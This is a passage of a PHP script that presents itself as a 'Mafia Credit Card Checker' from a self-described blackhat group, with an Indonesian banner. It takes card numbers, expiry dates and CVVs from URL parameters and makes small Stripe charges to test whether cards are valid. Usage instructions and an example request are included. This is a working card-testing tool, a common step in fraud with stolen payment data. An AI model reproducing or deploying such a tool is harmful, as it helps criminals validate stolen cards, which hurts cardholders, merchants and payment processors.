getJsonBody();
$returnArray["error"] = true;
$returnArray["statuscode"] = $e->getHttpStatus();
$returnArray["status"] = httpStatusCodes($e->getHttpStatus());
if(isset($body["error"]["type"])) $returnArray["type"] = $body["error"]["type"];
if(isset($body["error"]["code"])) $returnArray["code"] = $body["error"]["code"];
if(isset($body["error"]["charge"])) $returnArray["charge"] = $body["error"]["charge"];
$returnArray["message"] = $body["error"]["message"];
return $returnArray;
}
function oneTimePayment($ccNum, $expMonth, $expYear, $cvc) {
$returnArray = array("error" => false);
try {
$cardDetails = array("number" => $ccNum, "exp_month" => $expMonth, "exp_year" => $expYear, "cvc" => $cvc);
$cu = Stripe_Charge::create(array("card" => $cardDetails, "amount" => 50, "currency" => "usd"));
$returnArray = json_decode($cu, true);
} catch (Stripe_Error $e) {
$returnArray = stripErrorHandler($e);
}
return $returnArray;
}
if(isset($_GET["ccnum"]) AND isset($_GET["expmonth"]) AND isset($_GET["expyear"]) AND isset($_GET["cvv"])) {
$req = oneTimePayment($_GET["ccnum"], $_GET["expmonth"], $_GET["expyear"], $_GET["cvv"]);
if(isset($req["error"])) {
echo "Declined Bos!!
\n";
} else {
echo "Semuanya OK!!
\n";
}
echo "
\n
\nDebuging Info:
\n";
echo "
\n";
print_r($req);
echo "
\n";
} else {
echo "
\n";
?>
-=[ Mafia Credit Card Checker ]=-
ScriptPHP ini akan mencoba melakukan pembayaran sebesar $0.5 melalui stripe.com untuk mengecheck creditcard ini valid atau tidak.
How To : http://localhost/checker.php?ccnum={Credit Card Number}&expmonth={Expiration Month}&expyear={Expiration Year}&cvv={CVV/CVC dll}
Example : http://localhost/checker.php?ccnum=4012777777770707&expmonth=12&expyear=20&cvv=707
Salam Topi Hitam,
Mafia Of Blackhat Soldiers
\n";
}
?>